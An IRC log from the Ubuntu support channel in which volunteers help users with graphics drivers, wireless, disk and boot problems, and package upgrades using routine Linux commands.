[06:57] <Bartek> daftman:: thanks for trying anyway :).
[06:57] <mnoir> knight: if you have 1 sub directory (like /usr/src) that is very big, it may be easier to do
[06:57] <asdf_> how do I run a kernel later than 2.6.17?
[06:57] <asdf_> yo; help a newb please; hwo do I run a kernel later than 2.6.17?
[06:57] <pista> neghsmoke, are your drivers compatible?, dri
[06:58] <daftman> asdf_: build one :)
[06:58] <neghsmoke> pista, i don't even know what dri is
[06:58] <neghsmoke> let alone whether my drivers are compatible
[06:58] <knight> mnoir: is there any other reference also?
[06:58] <pista> try to find something in /var/log/Xorg.0.log
[06:58] <neghsmoke> i am browsing it now
[06:58] <pollywog> asdf if you can't find one in Ubuntu sources you could try one from kernel.org
[06:58] <pollywog> I have not done it in Ubuntu yet but it worked in Debian
[06:59] <mnoir> knight: many - try google for 'ubuntu move usr to a new filesystem'
[06:59] <knight> mnoir: okay
[06:59] <daftman> !kernel
[06:59] <ubotu> kernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild
[06:59] <psynaps3_> wireless in linux is the worst experience i have had till now
[06:59] <mnoir> knight:  (thanks rioghal)
[07:00] <tyme-> psynaps3, newer distros make it easy to get wireless up and running quickly
[07:00] <psynaps3_> tyme-: as in edgy?
[07:00] <tyme-> yes
[07:00] <psynaps3_> tyme-: i am using edgy :)
[07:00] <psynaps3_> tyme-: a default install doesn't support wpa
[07:01] <daftman> psynaps3_: use gentoo
[07:01] <knight> mnoir: anyway if my system is alive see u here.......... :-
[07:01] <mnoir> :)
[07:01] <pollywog> asdf look what ubotu posted above
[07:01] <mnoir> daftman: are you daft??
[07:01] <tyme-> psynaps3, it supports wep i know for sure
[07:01] <pollywog> it shows you there how to do it
[07:01] <mneptok> psynaps3_: it does, but you have to know info about the access point
[07:01] <psynaps3_> tyme-: so i go n install network manager which is the worst crap i have come across in a long time
[07:01] <daftman> nope
[07:01] <mnoir> :)
[07:01] <tyme->  
[07:01] <neghsmoke> pista: fglrx module compiled for 7.1.0 module version 8.32.5
[07:01] <neghsmoke> there is no LoadModule: for dri
[07:01] <daftman> what's wrong with gentoo
[07:01] <asdf_> how do I check if kernel 2.6.17 supports the new splice or tee kernel calls?
[07:02] <daftman> it's cutting edge mon
[07:02] <psynaps3_> yes it does support wep. not wpa. i have to get wpa_supplicant for that and do all the manual configuration
[07:02] <pista> neghsmoke, no error message?
[07:02] <mnoir> daftman: nothing at all if you have the patience and technical skill for it
[07:02] <neghsmoke> EE's?
[07:02] <daftman> asdf_: reading is your friend: check www.kernel.org
[07:02] <tyme-> imo a better version that supports wpa is needed for next release
[07:02] <tyme-> and it IS being worked on and implimented
[07:02] <neghsmoke> pista: dri module not loaded error
[07:02] <asdf_> how do I check if kernel 2.6.17 supports the new splice or tee kernel calls?
[07:03] <daftman> mnoir: emerge package
[07:03] <n2diy> asdf: google.
[07:03] <psynaps3_> i really don't get it why network manager was implemented this way. the crap doesn't support static ip's, there's virtually 0 configuration options and it overwrites every setting u put in. i can't even retain my dns server ips!!!
[07:03] <mnoir> daftman: i cut my teeth on machine code and assemblers but i found gentoo waaay too painful for my tastes
[07:03] <pista> neghsmoke, in /etc/X11/xorg.conf in section module have you dri?
[07:04] <neghsmoke> let me check
[07:04] <Hoobly> mneptok: OK.  Installed but still just a blinking cursor when booting.
[07:04] <daftman> lol yea I have a lot of free time on da weekend
[07:04] <mnoir> psynaps3_: you might want to make some design change requests to the developers
[07:05] <daftman> mnoir: but you do't read every line of code for EVERY packages
[07:05] <amir_> !java
[07:05] <ubotu> To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[07:05] <neghsmoke> pista: i just added it, restard x
[07:05] <paitart> what linksys wireless routers are compatible with ubuntu dapper and edgy???
[07:05] <psynaps3_> mnoir: there wishlist and buglist is pretty filled up... right from the dapper release
[07:05] <psynaps3_> paitart: i am using a wrt54gl. its working fine
[07:06] <daftman> lol im staying well away from wireless in linux
[07:06] <daftman> until it works like ethernet cables
[07:06] <psynaps3_> lol
[07:06] <paitart> psynaps, other choices aside from dat model and brand?
[07:06] <sioux> hi
[07:07] <psynaps3_> no idea. get the wrt54gl, put the dd-wrt firmware and have peace of mind :)
[07:07] <sioux> I want skypecast for linux!
[07:07] <sioux> >:o
[07:07] <mnoir> daftman: nice thing about this channel - when the questions die down to some small level for something, then it is time to try it :)
[07:07] <_caid_> Hi, I'm trying to install ubuntu on my amd64 system but things keep freezing up during early stages of the install. If I do thing from a terminal, I tend to get messages like "SQUASHFS error: sb_bread failed reading block". Is my ISO broke or something worse?
[07:07] <familia> Hi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please
[07:07] <pike_> paitart: wrt54gl the new wrt54g is ok but the l is very good router
[07:08] <neghsmoke> !ati > neghsmoke
[07:08] <zezu> how can i for a debian package to install as 32b on an x64 machine ?
[07:08] <sioux> I want skypecast for linux!  >:o
[07:08] <amir_> !multiverse
[07:08] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[07:08] <Doow> What's a good program if I want to edit a postscript file?
[07:08] <mnoir> _caid_: there are md5 sums and a verify function you can use to answer that question
[07:08] <psynaps3_> paitart: google wrt54g wikipedia and read through it
[07:08] <familia> Hi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!
[07:08] <shwag> how do I make an ISO from an audio cd  on the command line.
[07:08] <_caid_> mnoir: What I meant was, could by burned CD be broken (I think the ISO is fine)
[07:09] <sioux> hey who konws how to get skypecast for linux???  :(
[07:09] <pike_> shwag: cat /dev/cdrom > file.ixo
[07:09] <pike_> shwag: .iso rather
[07:09] <n2diy> shwag: cdrecord?
[07:09] <mnoir> _caid_: do you have a tool to compute the md5 sum for the burned cd?
[07:09] <shwag> pike_: really ?
[07:09] <stoone> How can I remove device links (ftp, mounted stuff) from my desktop?
[07:09] <pike_> shwag: yeah
[07:09] <neghsmoke> pista: (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work
[07:09] <familia> Hi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!
[07:09] <neghsmoke> not sure how to fix this
[07:09] <_caid_> mnoir: Well, I could make an ISO from the CD and md5sum it, but that ould take a bit of time so I'd rather know if this was the likely problem.
[07:10] <Dextorion> hi
[07:10] <pista> in /lib/modules/[your kernel]  find fglrx.ko
[07:10] <mnoir> _caid_: if it boots it is less likely to be broken but maybe.  and CDs can be summed by a decent tool
[07:11] <_caid_> mnoir: Ok, so what other sources for this error could there be?
[07:11] <Pirate-King> hello
[07:11] <jrib> !icons | stoone
[07:11] <ubotu> stoone: Want to see volume/trash icons on the desktop? Go to /apps/nautilus/desktop in gconf-editor (Gnome) or go to http://kudos.berlios.de/kf/kisimlar/tipsntrix.html#showtrash (KDE)
[07:11] <stoone> jrib: Thx
[07:11] <psynaps3_> finally its time for me to throw network manager out and go back to the old style... manual editing... *disappointed*
[07:11] <neghsmoke> pista: found it
[07:12] <bariel> hello, i have an external usb hdd from a friend which seems not to be working, how can i check if the hdd is ok or not? i tried plugged the usb hdd into my laptop, but ubuntu seems can not recognize it
[07:12] <pista> neghsmoke, how many fglrxs are there?, where
[07:12] <familia> Hi, i have 1 sound card Mobile South 86c5XX my alsa no have driver for this card... help-me please!
[07:12] <n2diy> bariel: lshw?
[07:12] <Dextorion> Someone that is king with grub please help before i format the whole thing. Kind of strange setup here, and it doesnt work:  1 IDE disk with one partition on: EXT3 mounted as /home/ works!   1 SATA disk with 4 partitions on: Win, NTFS, EXT3(/), swap.  Booting linux is no problem, but booting into win dont work.
[07:13] <neghsmoke> pista: 4 total, one in /lib/modules/2.6.17-10-generic/kernel/drivers/char/drm    the rest exist in various volders of /lib/modules/fglrx
[07:13] <pike_> bariel: lsusb  if it shows up try "ls -t /dev | head" if you see sda1 or b1 etc you can sudo mount /dev/sdb1 /media/usb
[07:13] <bariel> n2diy, what should i expect to see?
[07:13] <mnoir> _caid_: i do not know - i do not have a 64b system to test.  just guessing, disk problems?  memory?  it might be good to know exactly where in the process it fails.  but i am not sure i will be the best answerer
[07:13] <pista> neghsmoke, btw do you have composite disabled?
[07:13] <n2diy> bariel: all the hardware your system is aware of.
[07:14] <Hoobly> How can I get past a blinking cursor when booting?  Anyone?
[07:14] <neghsmoke> pista: yes
[07:14] <Dextorion> grub config says root (hd1,0), makeactive, chainloader +1 for windows partition.  doesnt work.
[07:14] <pista> ok go to /lib/modules/2617..../char/drm/
[07:14] <Dextorion> and it says root (hd1,2) for the linux patition. Does work.
[07:14] <neghsmoke> okay
[07:14] <Dextorion> any ideas?
[07:15] <Pirate-King> was going  to isntall ubuntu on my laptop is there anyway to change the brown color sceheme
[07:15] <pista> neghsmoke, now modprobe -r fglrx
[07:15] <bariel> pike_, i cant see any sda1 or b1, but there is sg1 and sg0, i have usb mouse and another usb hdd storage
[07:15] <mnoir> _caid_: does the live cd work ok for a long time?  i know this is frustrating.
[07:15] <riotkittie> yes. system > preferences > themes
[07:15] <_caid_> mnoir: hardware problems seem unlikely since i used the computer for winxp on a daily basis, but I put a new sata drive in it today on which i want to install ubuntu
[07:15] <pista> then insmod fglrx.ko, then show your dmesg (last lines)
[07:15] <_caid_> mnoir: it freezes up after a little while
[07:16] <_caid_> mnoir: right now i've managed to boot it and start the installer
[07:16] <n2diy> ! udev
[07:16] <ubotu> udev: rule-based device node and kernel event manager. In component main, is important. Version 093-0ubuntu18 (edgy), package size 224 kB, installed size 768 kB
[07:16] <n2diy> ! hotplug
[07:16] <ubotu> Sorry, I don't know anything about hotplug - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:16] <pike_> bariel: unplug and replug then maybe "dmesg | tail -n 30"  the 30 is just how many lines to show.
[07:16] <neghsmoke> pista: modprobe -r fglrx returns         (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work
[07:17] <neghsmoke> whoops
[07:17] <mnoir> _caid_: agreed on hardware problems except you just put in a new drive and linux stresses hardware in different ways. very often marginal memory will fail with linux that works with win osses
[07:17] <neghsmoke> wrong error
[07:17] <varsendaggr> hey i installed mozilla firefox 2 from the web cause i have breezy ...   how do i get flash 9m to work?
[07:17] <neghsmoke> error removing fglrx, not permitted
[07:17] <tyme-> !kernel
[07:17] <ubotu> kernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild
[07:17] <pista> neghsmoke, sudo su, then do it all again from modprobe -r
[07:17] <pista> you must be root
[07:17] <neghsmoke> k
[07:17] <_caid_> mnoir: didn't know that, I'll run a memcheck right away
[07:18] <jedrick> how can i mount my windows drive automatically on start up boot?
[07:18] <riotkittie> !xinarama
[07:18] <ubotu> Sorry, I don't know anything about xinarama - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:18] <pike_> !ntfs | jedrick
[07:18] <ubotu> jedrick: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[07:18] <mnoir> _caid_: not 100% guaranteed but this is wtf mode - hard to troubleshoot, i know
[07:18] <pike_> jedrick: basically there is an /etc/fstab file you need to edit
[07:18] <riotkittie> yaaaargh
[07:19] <mnoir> riotkittie: you sound like Dean...
[07:19] <pike_> lol
[07:19] <Zambezi> To run dist-upgrade in the terminal, I have to change dapper to edgy in sources.list, then run apt-get update, then aptitude dist-upgrade right?
[07:19] <neghsmoke> pista: last line reads module loaded - fglrx 8.32.5 on Minor 0
[07:20] <music_> .
[07:20] <music_> ok
[07:20] <mnoir> Zambezi: basically but i hope you are following a guide
[07:20] <riotkittie> no no. i dont start sounding like Dean til i start ticking off a list of states we're going to
[07:20] <pista> neghsmoke, show me lines from /lib/modules/[kernel] /modules.dep where is fglrx
[07:20] <neghsmoke> pista: there's also one error, second line down that reads: Error Process 7435 using kernel context 0
[07:20] <stefg> !upgrade | Zambezi ^
[07:20] <ubotu> Zambezi ^: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[07:20] <neghsmoke> okay one moment
[07:21] <mnoir> riotkittie: ok - unknown state, transition state, state of mind,  (thanks rioghal)
[07:21] <Zambezi> mnoir, stefg I will foillow that guide. Thanks to both.
[07:21] <bariel> pike_, dmesg show me that usb is unplugged then plugged again, http://pastebin.ca/314365
[07:21] <varsendaggr> i have a 800mhz    124 should i upgrade to dapper?
[07:21] <_caid_> mnoir: ok, bios memtest said ok. last try froze at partitioning... my new sata drive is looking mighty suspicious, but i can't figure out why i'd get squashfs errors from that
[07:21] <riotkittie> yaaaaaargh. roar.
[07:21] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ can any one tell me why my driver "nvidia" wont work any more like 5 days ago now...
[07:21] <paitart> pike, psynaps3: so i just have to use either WRT54G ver. 4 or lower, or WRT54GL? aside from these linksys models, are there other alternatives?
[07:22] <pike_> paitart: aside from those i see no advantage to linksys routers
[07:22] <sparrow_> zwrot podatku szukam programu pod Ubuntu do rozliczenia pitw
[07:22] <jedrick> how can i play videos on totem.. it's says that no decoder where found
[07:22] <faeryNatsuki> no luck :(
[07:22] <mnoir> _caid_: i think you are on to something - may be a driver issue or somesuch - i don't have sata drives but it is worth your asking your questions to the group with the assumption that you may have a sata problem
[07:22] <faeryNatsuki> flash has no sound even reinstalling it
[07:23] <faeryNatsuki> i think it's a problem related to alsa, not with flash or java
[07:23] <mnoir> _caid_: and remove my name or else nobody else might answer  (thanks rioghal)
[07:23] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ can any one tell me why my driver "nvidia" wont work any more like 5 days ago now...            omg any one here ever gonna fucking help????
[07:23] <paitart> pike_: any compatible netgear, d-link models?
[07:23] <lukillas> hi all!
[07:23] <n2diy> ! ru | sparrow
[07:23] <ubotu> sparrow:    #ubuntu-ru       /  Pozhalujsta vojdite v #ubuntu-ru dlq pomoshchi na russkom qzyke
[07:23] <faeryNatsuki> hi
[07:23] <mnoir> _caid_: not that i mind seeing my name :)
[07:23] <_caid_> mnoir: kind of new to the ubuntu community so sorry for asking but: what group?
[07:24] <Crankymonky> How does one go about setting up last.fm in Amarok?
[07:24] <mnoir> _caid_: sorry i meant channel as in this channel
[07:24] <pike_> paitart: order the l one from newegg its like 54 dollars or something and you've got a really cool toy or something that works fine out of the box
[07:24] <stefg> music_: either you have no nvidia.ko wihich runs with your kernel. or it just takes a 'sudo depmod -ae' to make the kernel aware of its existence
[07:24] <riotkittie> music_: with an attitude like that, probably not.
[07:24] <_caid_> mnoir: ok, thanks... i'll fiddle with the installer a bit more before i ask
[07:25] <music_> \its just been 5 days now
[07:25] <faeryNatsuki> i need help fixing my sound
[07:25] <music_> i been asking...
[07:25] <mnoir> _caid_: :)
[07:25] <segfault> hi anyone here use xchat-gnome and know how to get rid of these chars around everyones names , or even why they are there?
[07:25] <neghsmoke> stefg: should depmod reply when you use it, or should it pause for a second and open another copmmand line in the terminal?
[07:25] <paitart> pike_: thanks!
[07:25] <pike_> paitart: of course i use a cheap netgear but i wouldnt recommend it
[07:25] <mnoir> segfault: probably a locale or charset problem
[07:25] <jedrick> how can i play videos on totem.. it's says that no decoder where found
[07:25] <stefg> neghsmoke: normally depmod just runs silently
[07:25] <riotkittie> which characters <should fire up X ... but i'm lazy>
[07:25] <n2diy> music_: if I recall you upgraded to edgy, right?
[07:25] <lukillas> i had a question, i wanna know if it's possible to share data which is stored on a virtual machine, with linux (i'm running a windows xp under linux, using vmware)
[07:25] <bariel> pike_, do you have any hint for me?
[07:26] <segfault> mnoir: weird cuz i dont have that in regular xchat just xchat-gnome
[07:26] <neghsmoke> pista: still there?
[07:26] <riotkittie> xchat-gnome, ick!
[07:26] <neghsmoke> i like xchat =D
[07:26] <apokryphos-> tree-view is not possible without xchat-gnome, right?
[07:26] <pista> neghsmoke, yes
[07:26] <n2diy> riotkittie: what is wrong with xchat-gnome?
[07:26] <pista> me too :)
[07:26] <neghsmoke> pista: you've got a pm
[07:26] <segfault> riotkittie: its a squre with 4 circles in it, it looks the 4 on a siz sided die
[07:27] <Zambezi> gksu "update-manager -c" doesn't work without X. What should I write instead?
[07:27] <lukillas> jedrick, you can use automatix2 to install codecs
[07:27] <apokryphos-> !automatix
[07:27] <ubotu> automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[07:27] <pista> neghsmoke, no pm
[07:27] <pista> i havn't received
[07:28] <stefg> music_ : try this line: 'sudo apt-get install linux-restricted-modules-`uname -r` nvidia-glx && sudo nvidia-glx-config enable && sudo /etc/init.d/?dm restart'
[07:28] <neghsmoke> pista: hmmm k
[07:28] <pike_> bariel: id check ubuntuforums.org if somone there cant help. my boss is haning around so cant talk much ;p
[07:28] <n2diy> ! lukillas, jedrick ! automatix
[07:28] <riotkittie> n2diy: nothing's *wrong* with it, per se. i just prefer xchat over it. though i rarely use that theese days, either
[07:28] <neghsmoke> sorry for spam in advance
 /lib/modules/2.6.17-10-generic/volatile/fglrx.ko: /lib/modules/2.6.17-10-generic/kernel/drivers/char/agp/agpgart.ko
 /lib/modules/2.6.17-10-generic/kernel/drivers/char/drm/fglrx.ko: /lib/modules/2.6.17-10-generic/kernel/drivers/char/agp/agpgart.ko
[07:28] <n2diy> automatix ! lukillas, jedrick
[07:28] <neghsmoke> pista: those are the only two lines containing fglrx
[07:28] <lukillas> thanks n2diy
[07:28] <roryy> Zambezi: another option is changing the file /etc/apt/sources.list to point to the next release, and running 'aptitude dist-upgrade' to upgrade.  The details are on the wiki
[07:28] <pista> neghsmoke, ok, now comment out that volatile with #
[07:28] <pista> reset x server
[07:28] <bariel> pike_, i think it is better for me to throw the hdd away
[07:28] <neghsmoke> pista: k
[07:28] <adon> does anyone know how to view autocad files
[07:28] <adon> ?
[07:29] <jmblack> Im having trouble with mysql-server after an apt-get update. Eventually I got to a point where all the mysql packages will remove (so I can re-add them) except mysql-server. I keep getting this error: http://jindal.pastebin.ca/314367
[07:29] <broosters> visit http://broosters.blogspot.com for the best chicks and the better entertainment... LMAO
[07:29] <broosters> visit http://broosters.blogspot.com for the best chicks and the better entertainment... LMAO
[07:29] <n2diy> riotkittie: ok, I didn't realize there was an Xchat.
[07:29] <Zaggynl> I'm having problem while apt-getting libdbus-glib-1-dev
[07:29] <Zaggynl> The following packages have unmet dependencies:
[07:29] <Zaggynl>   libnotify-dev: Depends: libdbus-glib-1-dev (>= 0.23) but it is not going to be installed
[07:29] <jmblack> when upgrading mysql-server
[07:29] <Zaggynl> oops
[07:29] <neghsmoke> pista: if the line overflows do i need to comment both of them?
[07:29] <faeryNatsuki> jedrick: install gstreamer packages
[07:29] <Zaggynl> why is the 'but is not going to be installed' ??
[07:30] <neghsmoke> if the line wraps that is
[07:30] <faeryNatsuki> oh, i really need help fixing my sound card
[07:30] <pista> neghsmoke, i think no
[07:30] <neghsmoke> k, now what?
[07:30] <_caid_> Ok, is anybody aware of any problems with Samsung SATA drives and ubuntu for amd64?
[07:30] <roryy> jmblack: do you know if the mysqld process is still running?
[07:30] <pista> neghsmoke,  reset xserver
[07:30] <pista> or reboot
[07:30] <neghsmoke> ctrl alt backspace?
[07:30] <stefg> _caid_: sata problems are quite common
[07:30] <pista> yeah
[07:30] <neghsmoke> k brb
[07:31] <stefg> _caid_: dont blame yur drive, blame you hst-adapter
[07:31] <_caid_> hst?
[07:31] <_caid_> host?
[07:31] <stefg> host-adapter
[07:31] <stefg> sorry, new keyboard... still not used to it
[07:32] <jmblack> roryy: even after killing the processes (no mysqld when I "ps -A|grep mysql) it refuses to upgrade
[07:32] <_caid_> blech, well, gona try booting 32-bt linux instead
[07:32] <pip> Hello all
[07:32] <pip> I got a problem
[07:33] <jedrick> faeryNatsuki,  i can't install gstreamer.. i got error when i try to do sudo apt-get install gstreamer "W: Couldn't stat source package list http://archive.ubuntu.com breezy/universe Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_breezy_universe_binary-i386_Packages) - stat (2 No such file or directory)" why is that?
[07:33] <pip> I use dual os on my box winxp and linux
[07:33] <pip> I reinstalled windows but it failed and dameged the partiton table
[07:33] <faeryNatsuki> there are more than one gstreamer package
[07:33] <pip> so what shall I do to start my linux normally ?
[07:33] <stefg> !gstreamer breezy
[07:33] <ubotu> Sorry, I don't know anything about gstreamer breezy - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:33] <stefg> !gstreamer
[07:33] <ubotu> Sorry, I don't know anything about gstreamer - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:34] <faeryNatsuki> you need to look for the codecs you need
[07:34] <riotkittie> pip: do you have a live disc?
[07:34] <pip> riotkittie, no
[07:34] <pike_> pip: damaged partition table or just boot manager is gone?
[07:34] <faeryNatsuki> try using synaptic
[07:34] <tyme-> !search gstreamer
[07:34] <ubotu> Found:
[07:34] <tuxn8r> ubuntu edgy disk is a live disc
[07:34] <stefg> jedrick: APT-CACHE SERACH GSTREAMER TO GET THE /RIGHT/ PACKAGE NAME
[07:34] <pip> pike_, the partition table is lost
[07:34] <faeryNatsuki> then you cand find the gestreamer p4rlugins, and you need to have universe and multiverse repositories actived
[07:34] <jamesbrose> Whats another Command line editor apart from vi? Thats good...
[07:35] <tyme-> vim
[07:35] <tuxn8r> jamesbrose, nano, vim, emacs
[07:35] <stefg> joe
[07:35] <pip> riotkittie, if I got a live cd ,what shall I do next ?
[07:35] <wizo> hey, when i try to make something, it says Makefile.inc:69: *** /lib/modules/2.6.15-27-386/build is missing, please set KERNELPATH.  Stop.
[07:35] <wizo> what`s going on?
[07:35] <pike_> jamesbrose: stay away from emacs. its evil incarnate
[07:35] <music_> ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/
[07:35] <roryy> jmblack: sorry, I'm not sure what to suggest in that case. Perhaps a bug in the deb preinstall scripts?
[07:35] <n2diy> jamesbrose: vi isn't a command line editor, it is a text editor. nano is another text editor.
[07:35] <tyme-> music_, you updated linux-restricted-modules right?
[07:35] <tuxn8r> emacs does suck, but vim is good
[07:35] <music_> yea
[07:36] <music_> it did
[07:36] <Otter> Hi all, I have a quick init.d question, if anyone has the time
[07:36] <riotkittie> pip: if your partition table is gone, i'm not sure you /can/ do anything. your problem's out of my league.
[07:36] <music_> it removed something too
[07:36] <tyme-> music_, i use ati, but i had to disable fglrx in linux-restricted-modules, maybe you have to disable something there as well.
[07:36] <tuxn8r> pip, does xp boot?
[07:36] <jedrick> stefg,  ok thnx
[07:36] <YayBuntu> what can i do to get my mounted drives to show up in "Computer"
[07:36] <CheshireViking> music: was your update via the synaptic update manager?
[07:36] <music_> it removed nvidia-glx..
[07:36] <music_> yea
[07:37] <riotkittie> are you sure its the partition table, and not just your master boot record?
[07:37] <pip> tuxmaniac, I was going to reinstall xp ,but failed and the old partition table was broken
[07:37] <pike_> pip: only way i know is to make an identical table on an identical disk and then put it on damaged. youdd have to google that though its involved
[07:37] <riotkittie> ah ok
[07:38] <tuxn8r> pip, I would retry the xp install into its partion. it will erase the boot record, but you can use a live cd to fix it
[07:38] <tyme-> !laptop-mode
[07:38] <ubotu> laptop-mode: laptop-mode aims to reduce the power consumption of laptops. In component universe, is optional. Version 0.4 (edgy), package size 13 kB, installed size 88 kB
[07:38] <tyme-> !search laptop-mode
[07:38] <ubotu> Found:
[07:38] <jedrick> !paste
[07:38] <ubotu> paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[07:38] <stefg> music_: either your looking for help and at least read what people offer you, or you have a different motivation and just want to troll... See, there's other networks for these kind of people
[07:38] <Otter> I have a script in /etc/fw/firewall which is just a bash script which modfies iptables. I then sylimk that file to /etc/init.d/firewall but it doesn't seem to run on bootup.. what and I doing wrong?
[07:38] <wizo> hey, when i try to ``make`` something, it says Makefile.inc:69: *** /lib/modules/2.6.15-27-386/build is missing, please set KERNELPATH.  Stop. why does this happen?
[07:38] <YayBuntu> what can i do to get my mounted drives to show up in "Computer"
[07:39] <wizo> how do i set KERNELPATH?
[07:39] <roryy> wizo: you need to install the kernel header package
[07:39] <music_> i dont know much
[07:39] <tuxn8r> yaybuntu, what shows up now?
[07:39] <wizo> ahh
[07:39] <CheshireViking> music: i've just installed the updates through the update manager & nothings gone wrong yet, i've not restarted gnome but it seems to work ok, glxgears is still working ok
[07:39] <wizo> i thought i did that already.. hmm thanks
[07:39] <music_> i just want my 3d back
[07:39] <pip> riotkittie, yeah,i am
[07:39] <livingdaylight> can someone help me with installing an application called 'Songbird' ?
[07:39] <jedrick> can someone help me.. i have error everytime i install something using apt-get .. http://paste.ubuntu-nl.org/1326/ .. help anyone pls..
[07:39] <roryy> wizo: something like linux-headers-386 (that's what I have on ubuntu 6.10)
[07:39] <music_> i restarted tho
[07:39] <pip> tuxn8r, how to fix it ?
[07:39] <YayBuntu> tuxn8r Filesystem, CDRom and 2 floppy drives (?? I only have one?)
[07:40] <jmblack> roryy: yeah, I accept that its a but in the package, can I remove the package manaully somehow?
[07:40] <music_> right after it updated i restarted
[07:40] <riotkittie> reason #4932 that dapper rocks - wireless and audio worked out of the box. whereas upon replacing xp with 2k on my 'designed for 2k' dell laptop... i had no sound
[07:40] <Zambezi> I don't run X and I want to upgrade my system to Edgy. How should i do?
[07:40] <wizo> err, how do i find what im currently using?
[07:40] <jmblack> *bug in the package
[07:40] <roryy> jmblack: you can try 'dpkg' with a --force option
[07:40] <riotkittie> and had to spend 30 mins beating windows into submission before my wireless drivers would install
[07:40] <tuxn8r> pip, if you do a new xp install, it will erase your boot record, but it will work. then you should be able to insert an ubuntu cd and fix the boot record
[07:40] <CheshireViking> rite, i'll restart mine & see if it works
[07:40] <YayBuntu> tuxn8r Filesystem, CDRom and 2 floppy drives (?? I only have one?)
[07:41] <riotkittie> tuxn8r: it's not his MBR, its the partition table.
[07:41] <YayBuntu> I mounted 2 drives in /media/
[07:41] <roryy> jmblack: it's not something I've used often. Try 'dpkg --force-help' for more information
[07:41] <tuxn8r> yaybuntu, that is strange
[07:41] <blekos> firefox crashes when i installed flash player plugin, any suggestions
[07:41] <YayBuntu> Yeah... But shouldn't the stuff i mount in /media/ get there automaticly?
[07:42] <roryy> jmblack: I don't see anything about failing scripts though.. hm
[07:42] <YayBuntu> I can access it with no problem... Just wanted to get easier access through "Computer"
[07:42] <roryy> jmblack: what happens if you just uninstall mysql-server? Same thing?
[07:42] <Otter> Busy room :) I was wondering if someone saw my iptables startup problem with a file in /etc/init.d/firewall not running at startup?
[07:42] <tuxn8r> yaybuntu, i think that if you manually mount it in media, it won't automatically show up
[07:42] <assasukasse> hi all
[07:42] <tim167> i'm installing a new videocard on my desktop, i get: Failed to start the X server...what do I do ?
[07:42] <tuxn8r> yaybuntu, do you have something like: "Floppy 1" and "Floppy Drive"?
[07:42] <n2diy> what is mono, can I remove it from my system?
[07:43] <assasukasse> i wanted to speed up my edgy, i read that making the / as ext2 would speed things u
[07:43] <riotkittie> oops. toddler approaching.
[07:43] <assasukasse> p
[07:43] <YayBuntu> tuxn8r yes... Is that normal?
[07:43] <assasukasse> how do i do that?
[07:43] <riotkittie> !mono
[07:43] <ubotu> mono: Mono CLI (.NET) runtime. In component main, is optional. Version 1.1.17.1-1ubuntu7.1 (edgy), package size 1 kB, installed size 24 kB
[07:43] <Otter> n2diy: mono is a opensorce version of .NET
[07:43] <stefg> assasukasse: that's a Placebo advice
[07:43] <pike_> pip: youve convinced me to start backing up my partition table ;)
[07:43] <assasukasse> stefg thanks alot
[07:43] <assasukasse> however i must say that it takes age to load at bootup
[07:44] <CheshireViking> music_: all seemed to work ok, everything has started up as normal
[07:44] <jedrick> can someone help me.. i have error everytime i install something using apt-get .. http://paste.ubuntu-nl.org/1326/ .. help anyone pls..
[07:44] <neghsmoke> pista: that caused xserver to not start
[07:44] <n2diy> riotkittie: Otter, ok, Ubotu says it is optional, so I'm guessing it is safe to remove?
[07:44] <music_> :(
[07:44] <tuxn8r> yaybuntu, well mine is... I never seen that before, but the "Floppy 1" is mounted to /dev/ which is not a device. Somehow something extra is in there, but the "Floppy Drive" is the real thing
[07:44] <YayBuntu> I added the mounting of the drives to fstab... They might show up automaticly next time i restart
[07:44] <music_> my didnt
[07:44] <wizo> erm
[07:44] <riotkittie> n2diy: should be :)
[07:44] <neghsmoke> pista: got a crash course in vim though lol
[07:44] <knight> is there any good text mode mp3 players?
[07:44] <wizo> how do i know which linux headers do i have to install
[07:44] <pip> pike_, did I convince you to remember any other good idea to help me out ?
[07:44] <riotkittie> knight: mpg123
[07:44] <jmblack> roryy: yes same messages
[07:44] <riotkittie> or mpg321
[07:44] <music_> http://paste.ubuntu-nl.org/1243/    http://paste.ubuntu-nl.org/1244/read these
[07:44] <YayBuntu> tuxn8r okay... weird?
[07:44] <jmblack> when uninstalling
[07:44] <tim167> installing new video card on previously working ubuntu desktop: "fatal server error: no screens found" what do I do ? thanks
[07:44] <Otter> n2diy: Should be fine. unless you are run apps that use Microsofts .NET or web sitres that rquire it. Should affect your Ubuntu install at all
[07:44] <pista> neghsmoke, really?, did you comment it with #?
